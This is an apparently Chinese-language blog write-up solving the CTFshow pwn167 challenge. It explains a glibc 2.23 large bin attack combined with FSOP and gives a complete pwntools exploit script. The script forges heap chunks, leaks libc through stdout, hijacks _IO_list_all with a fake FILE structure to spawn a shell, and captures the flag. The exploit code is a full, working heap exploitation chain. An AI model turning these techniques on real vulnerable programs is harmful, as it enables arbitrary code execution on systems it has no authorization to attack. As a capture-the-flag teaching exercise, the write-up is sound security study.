CTFshow-pwn167

[!NOTE]

了解一下large bin吧

  • 远程环境:Ubuntu 16.04

libc 版本为 Ubuntu GLIBC 2.23-0ubuntu11

先补充一下 Large Bin Attack 的知识,可以参考这篇博客:large bin attack - DAMOXILAI - 博客园

可以简记为当修改某一 chunk 如下时

size          = 0x3f1
fd            = 0
bk            = target1 - 0x10
fd_nextsize   = 0
bk_nextsize   = target2 - 0x20

可以向指定地址写入一个 large chunk 的地址,即 *target = victim_chunk_addr;

拿这道题练下手,保护全开

niuyingying@niuyingying:~/ctf/pwn$ checksec ./pwn167
[*] '/home/niuyingying/ctf/pwn/pwn167'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

看一下 ida 中的伪代码,分析程序流程

unsigned __int64 sub_B5A()
{
  int *v0; // rax
  char *v1; // rax
  int *v2; // rax
  char *v3; // rax
  int fd; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  fd = open("/dev/urandom", 0);
  if ( fd < 0 )
  {
    v0 = __errno_location();
    v1 = strerror(*v0);
    fprintf(stderr, "/dev/urandom: %s\n", v1);
    exit(1);
  }
  read(fd, &addr, 8u);
  close(fd);
  addr = (void *)((unsigned int)addr & 0xFFFFF000);
  if ( mmap(addr, 0x10000u, 3, 34, -1, 0) != addr )
  {
    v2 = __errno_location();
    v3 = strerror(*v2);
    fprintf(stderr, "mmap: %s\n", v3);
    exit(1);
  }
  malloc(0);
  return __readfsqword(0x28u) ^ v6;
}
unsigned __int64 Malloc()
{
  __int64 size; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("size: ");
  size = Read();
  malloc(size);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 Edit()
{
  int i; // [rsp+0h] [rbp-20h]
  int v2; // [rsp+4h] [rbp-1Ch]
  unsigned __int64 v3; // [rsp+8h] [rbp-18h]
  unsigned __int64 v4; // [rsp+10h] [rbp-10h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("offset: ");
  v3 = Read();
  printf("size: ");
  v4 = Read();
  if ( v3 <= 0xFFFF && v4 <= 0x10000 && v3 + v4 <= 0x10000 )
  {
    printf("content: ");
    for ( i = 0; v4 > i; i += v2 )
    {
      v2 = read(0, (char *)addr + v3, v4 - i);
      if ( v2 < 0 )
        break;
    }
  }
  else
  {
    puts("Invaild input");
  }
  return __readfsqword(0x28u) ^ v5;
}
unsigned __int64 Free()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-10h]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("offset: ");
  v1 = Read();
  if ( v1 <= 0xFFFF )
    free((char *)addr + v1);
  else
    puts("Invaild input");
  return __readfsqword(0x28u) ^ v2;
}

可以看到 edit/free 操作的都是可控 mmap 区,free(addr+offset) 允许我们在 mmap 区伪造 chunk 并交给 glibc 管理

利用路线是 largebin attack + FSOP:

  1. 在 mmap 区布置多个 fake chunk
  2. 释放大 chunk,送入 largebin
  3. 构造 overlap,改 largebin chunk 的 bk / bk_nextsize
  4. 攻击 _IO_2_1_stdout_ 泄露 libc
  5. 伪造 _IO_FILE,通过 _IO_list_all + _IO_str_finish 劫持到 system("/bin/sh")
  6. Malloc(1) 触发 glibc 报错刷新链,执行 shell

接下来再来讲一下 FSOP :FSOP - CTF Wiki

假设攻击者已经拥有:

  1. libc 地址泄露;
  2. 一块地址已知、内容可控的内存;
  3. 修改 _IO_list_all 的任意地址写;
  4. 可以触发正常 exit()

那么可以在可控内存中放置:

fake_FILE:
...
+0x20  _IO_write_base = 0
+0x28  _IO_write_ptr  = 1
+0x30  _IO_write_end = 0
+0x38  _IO_buf_base  = binsh
...
+0xc0  _mode = 0
+0xd8  fake_vtable
...
+0xe8  _free_buffer = system (glibc 2.23 的 _IO_strfile)

最终调用 system("/bin/sh")

现在开始编写脚本

from pwn import *
import os
import sys

context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'

elf = ELF('./pwn167')
libc = ELF('./libc-2.23.so')

# io = process('./pwn167')
io = remote("pwn.challenge.ctf.show",28230)

# io = gdb.debug('./pwn167', gdbscript='set pagination off\nbreakrva 0xFAE\nbreakrva 0xEDC\nbreakrva 0xF56\nc')

def Malloc(size):
    io.recvuntil(b">> ")
    io.sendline(b"1")
    io.recvuntil(b"size: ")
    io.sendline(str(size).encode())

def Edit(i,size,text):
    io.recvuntil(b">> ")
    io.sendline(b"2")
    io.recvuntil(b"offset: ")
    io.sendline(str(i).encode())
    io.recvuntil(b"size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"content: ")
    io.send(text)

def Free(i):
    io.recvuntil(b">> ")
    io.sendline(b"3")
    io.recvuntil(b"offset: ")
    io.sendline(str(i).encode())

# fake chunk
Edit(0,0x20,p64(0) + p64(0x421) + b"\x00" * 0x10)
Edit(0x420,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0x440,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0x880,0x20,p64(0) + p64(0x431) + b"\x00" * 0x10)
Edit(0xcb0,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0xcd0,0x20,p64(0) + p64(0x91) + b"\x00" * 0x10)
Edit(0xd60,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)
Edit(0xd80,0x20,p64(0) + p64(0x21) + b"\x00" * 0x10)

Free(0 + 0x10)
Malloc(0x430)

overlap = p64(0) + p64(0x91) + b"\x00" * 0x80
overlap += (p64(0) + p64(0x21) + b"\x00" * 0x10) * 3

Edit(0x10,0xf0,overlap)
Free(0x10 + 0x10)
Malloc(0x80)

Edit(0,0x10,p64(0) + p64(0xC1))
Free(0 + 0x10)
Malloc(0xb0)

# largebin 写 stdout
stdout_flags = libc.sym["_IO_2_1_stdout_"] - 0x10
stdout_write_base = libc.sym["_IO_2_1_stdout_"] - 0x20 + 0x20 - 0x7
Edit(0x10, 0xa, p64(0) + p16(stdout_flags & 0xffff))
Edit(0x20, 0xa, p64(0) + p16(stdout_write_base & 0xffff))
Edit(0,0x10,p64(0) + p64(0x421))

Free(0x880 + 0x10)
Free(0xcd0 + 0x10)
Malloc(0x80)

# largebins
# 0x400-0x430 [corrupted]
# FD: 0xedf88000 ◂— 0
# BK: 0xedf88000 —▸ 0xedf88880 —▸ 0x7ffff7bc5610 (_IO_2_1_stderr_+208) —▸ 0x7ffff7bc56a3 (_IO_2_1_stdout_+131) ◂— 0xbc47a00000000000

# pwndbg> x/40gx 0x7ffff7bc5620
# 0x7ffff7bc5620 <_IO_2_1_stdout_>:       0x00000000edf88880      0x00007ffff7bc56a3

# pwndbg> x/40gx 0x7ffff7bc5620 + 0x20
# 0x7ffff7bc5640 <_IO_2_1_stdout_+32>:    0x00007ffff7bc5600      0x00007ffff7bc56a3

# pwndbg> x/40gx 0x00007ffff7bc5600
# 0x7ffff7bc5600 <_IO_2_1_stderr_+192>:   0x0000000000000000      0x0000000000000000
# 0x7ffff7bc5610 <_IO_2_1_stderr_+208>:   0x0000000000000000      0x00007ffff7bc36e0

data = io.recvrepeat(1)
log.info("stdout leak:\n" + hexdump(data))

leak = None
for i in range(len(data) - 7):
    value = u64(data[i:i + 8])
    if (value >> 40) == 0x7f and (value & 0xfff) == (0x3c36e0 & 0xfff):
        leak = value
        break

if leak is None:
    log.warning("leak failed, retrying...")
    io.close()
    os.execv(sys.executable, [sys.executable] + sys.argv)

print(hex(leak))

# 0x7ffff7bc36e0 - 0x7ffff7800000
libc_base = leak - 0x3c36e0
print(hex(libc_base))

# gdb.attach(io, exe='./pwn167', gdbscript='set pagination off\nbreakrva 0xFAE\nbreakrva 0xEDC\nbreakrva 0xF56\nc')
# pause()

io_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b"/bin/sh"))

_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10

# FSOP
# fake chunk
fake_file = p64(0) + p64(0x61)  # prev_size = 0; size = 0x61
fake_file += p64(0) + p64(io_list_all - 0x10)   # fd = 0; bk = _IO_list_all - 0x10

# fake _IO_FILE_plus
fake_file += p64(0) + p64(1)    # fake_file + 0x20 = _IO_write_base = 0; fake_file + 0x28 = _IO_write_ptr  = 1
fake_file += p64(0) + p64(binsh)    # fake_file + 0x30 = _IO_write_end = 0; fake_file + 0x38 = _IO_buf_base  = binsh
fake_file = fake_file.ljust(0xC0, b"\x00")
fake_file += p64(0) * 3 # fp->_mode <= 0
fake_file += p64(io_str_finish - 0x18)  # fake_file + 0xD8 = vtable = io_str_finish - 0x18
fake_file += p64(0)
fake_file += p64(system)    # fake_file + 0xE8 = _free_buffer = system

# Free(0xcd0 + 0x10)
io.sendline(b"3")
io.recvuntil(b"offset: ")
io.sendline(str(0xcd0 + 0x10).encode())
Edit(0xcd0,len(fake_file),fake_file)
Malloc(1)

io.interactive()

由于 mmap 地址随机,所以 _flags 的值在修改为 addr + 0x880 后不一定满足 0xfbad18** ,因此需要特别处理一下使 libc 地址可以稳定泄露

data = io.recvrepeat(1)
log.info("stdout leak:\n" + hexdump(data))

leak = None
for i in range(len(data) - 7):
    value = u64(data[i:i + 8])
    if (value >> 40) == 0x7f and (value & 0xfff) == (0x3c36e0 & 0xfff):
        leak = value
        break

if leak is None:
    log.warning("leak failed, retrying...")
    io.close()
    os.execv(sys.executable, [sys.executable] + sys.argv)

print(hex(leak))

其中 recvrepeat(1) 会持续接收目标程序发送的数据,直到连续约 1 秒没有新数据为止

再来抠一下细节, stdout_write_base = libc.sym["_IO_2_1_stdout_"] - 0x20 + 0x20 - 0x7 这个 0x7 的用意:

由于 largebin attack 中 glibc 会写 target2 - 0x20 = victim_chunk_addr ,我们想修改的是 _IO_write_base 的最低字节即从 0x00007ffff7bc56a3 变成 0x00007ffff7bc5600 ,而 victim 是:

0x000000006dbfe880

它的小端字节是:

80 e8 bf 6d 00 00 00 00

注意最后一个字节是 00

所以我们希望这个最后的 00 落到 _IO_write_base 的最低字节,即

target2 = STDOUT - 0x7

最后再来说说 FSOP ,一句话串起来就是:

fake_file = p64(0) + p64(0x61)

伪造 chunk 头

fake_file += p64(0) + p64(io_list_all - 0x10)

利用 bin attack 把 _IO_list_all 改成 fake FILE 地址

fake_file += p64(0) + p64(1)

_IO_write_ptr > _IO_write_base,触发 _IO_OVERFLOW

fake_file += p64(0) + p64(binsh)

/bin/sh 放进之后会被当参数用的字段

fake_file = fake_file.ljust(0xC0, b"\x00")

中间 FILE 字段补零

fake_file += p64(0) * 3

保证 _mode <= 0 等检查通过

fake_file += p64(io_str_finish - 0x18)

伪造 vtable,使 _IO_OVERFLOW 的函数槽错位到 _IO_str_finish 路线

那么为什么减 0x18?因为 glibc 触发的是 _IO_OVERFLOW(fp, EOF) ,它会调用 vtable + 0x18 处的函数指针

我们令 vtable = io_str_finish - 0x18 ,则 vtable + 0x18 = io_str_finish

那么偏移值又是怎么取的呢?

_IO_jump_t 结构体如下:

struct _IO_jump_t
{
    +0x00  dummy
    +0x08  dummy2
    +0x10  finish
    +0x18  overflow
    +0x20  underflow
    +0x28  uflow
    +0x30  pbackfail
    +0x38  xsputn
    +0x40  xsgetn
    +0x48  seekoff
    +0x50  seekpos
    +0x58  setbuf
    +0x60  sync
    +0x68  doallocate
    +0x70  read
    +0x78  write
    +0x80  seek
    +0x88  close
    +0x90  stat
    +0x98  showmanyc
    +0xa0  imbue
};

那么

niuyingying@niuyingying:~/ctf/pwn$ python3 - <<'PY'
from pwn import *
libc = ELF('./libc-2.23.so', checksec=False)
print(hex(libc.sym['_IO_str_overflow']))
print(hex(libc.sym['_IO_str_underflow']))
print(hex(libc.sym['_IO_str_pbackfail']))
print(hex(libc.sym['_IO_str_seekoff']))
PY
0x7cc80
0x7cc20
0x7cf80
0x7d0d0
pwndbg> info address _IO_str_overflow
Symbol "_IO_str_overflow" is at 0x7ffff787cc80 in a file compiled without debugging.
pwndbg> search -8 0x7ffff787cc80
Searching for an 8-byte integer: b'\x80\xcc\x87\xf7\xff\x7f\x00\x00'
libc-2.23.so    0x7ffff7bc33f8 0x7ffff787cc80 (_IO_str_overflow)
libc-2.23.so    0x7ffff7bc37b8 0x7ffff787cc80 (_IO_str_overflow)
pwndbg> x/40gx 0x7ffff7bc37b8 - 0x18
0x7ffff7bc37a0: 0x0000000000000000      0x0000000000000000
0x7ffff7bc37b0: 0x00007ffff787cfa0      0x00007ffff787cc80
0x7ffff7bc37c0: 0x00007ffff787cc20      0x00007ffff787b600
0x7ffff7bc37d0: 0x00007ffff787cf80      0x00007ffff787b630
0x7ffff7bc37e0: 0x00007ffff787b710      0x00007ffff787d0d0

此时 0x7ffff7bc37b8 - 0x18 - 0x7ffff7800000 = 0x3c37a0 ,所以

_IO_str_jumps = libc_base + 0x3c37a0
io_str_finish = _IO_str_jumps + 0x10
fake_file += p64(0)
fake_file += p64(system)

布置最终被调用的函数指针,让它调用 system("/bin/sh")

本地关上 ASLR 打通是这样的:

[*] Switching to interactive mode
[DEBUG] Received 0x4d bytes:
    b"*** Error in `./pwn167': malloc(): memory corruption: 0x00007ffff7bc5520 ***\n"
*** Error in `./pwn167': malloc(): memory corruption: 0x00007ffff7bc5520 ***
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x96 bytes:
    00000000  20 41 2d 43  09 09 09 09  09 20 20 20  20 65 78 70  │ A-C│····│·   │ exp│
    00000010  2e 70 79 09  20 20 20 20  20 20 20 6c  69 62 63 2d  │.py·│    │   l│ibc-│
    00000020  32 2e 32 33  2e 73 6f 0a  20 41 2d 43  2d 77 70 2e  │2.23│.so·│ A-C│-wp.│
    00000030  6d 64 09 09  09 09 20 20  20 20 66 6c  61 67 09 20  │md··│··  │  fl│ag· │
    00000040  20 20 20 20  20 20 70 77  6e 31 36 37  0a 27 43 54  │    │  pw│n167│·'CT│
    00000050  46 73 68 6f  77 2d 2d 2d  50 57 4e e5  85 a5 e9 97  │Fsho│w---│PWN·│····│
    00000060  a8 31 34 35  2d 31 38 30  2d 2d 2d 57  72 69 74 65  │·145│-180│---W│rite│
    00000070  20 55 50 2e  74 78 74 27  20 20 20 67  6c 69 62 63  │ UP.│txt'│   g│libc│
    00000080  2d 61 6c 6c  2d 69 6e 2d  6f 6e 65 20  20 20 74 65  │-all│-in-│one │  te│
    00000090  73 74 2e 70  79 0a                                  │st.p│y·│
    00000096
 A-C                                        exp.py             libc-2.23.so
 A-C-wp.md                                  flag               pwn167
'CTFshow---PWN入门145-180---Write UP.txt'   glibc-all-in-one   test.py

远程经过坚持不懈的人工爆破,最终得到 flag:

$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2e bytes:
    b'ctfshow{c512a8f4-445a-40e2-bfd2-700b96f4f04a}\n'
ctfshow{c512a8f4-445a-40e2-bfd2-700b96f4f04a}
posted @ 2026-08-10 16:21  AurY1n  阅读(3)  评论(0)    收藏  举报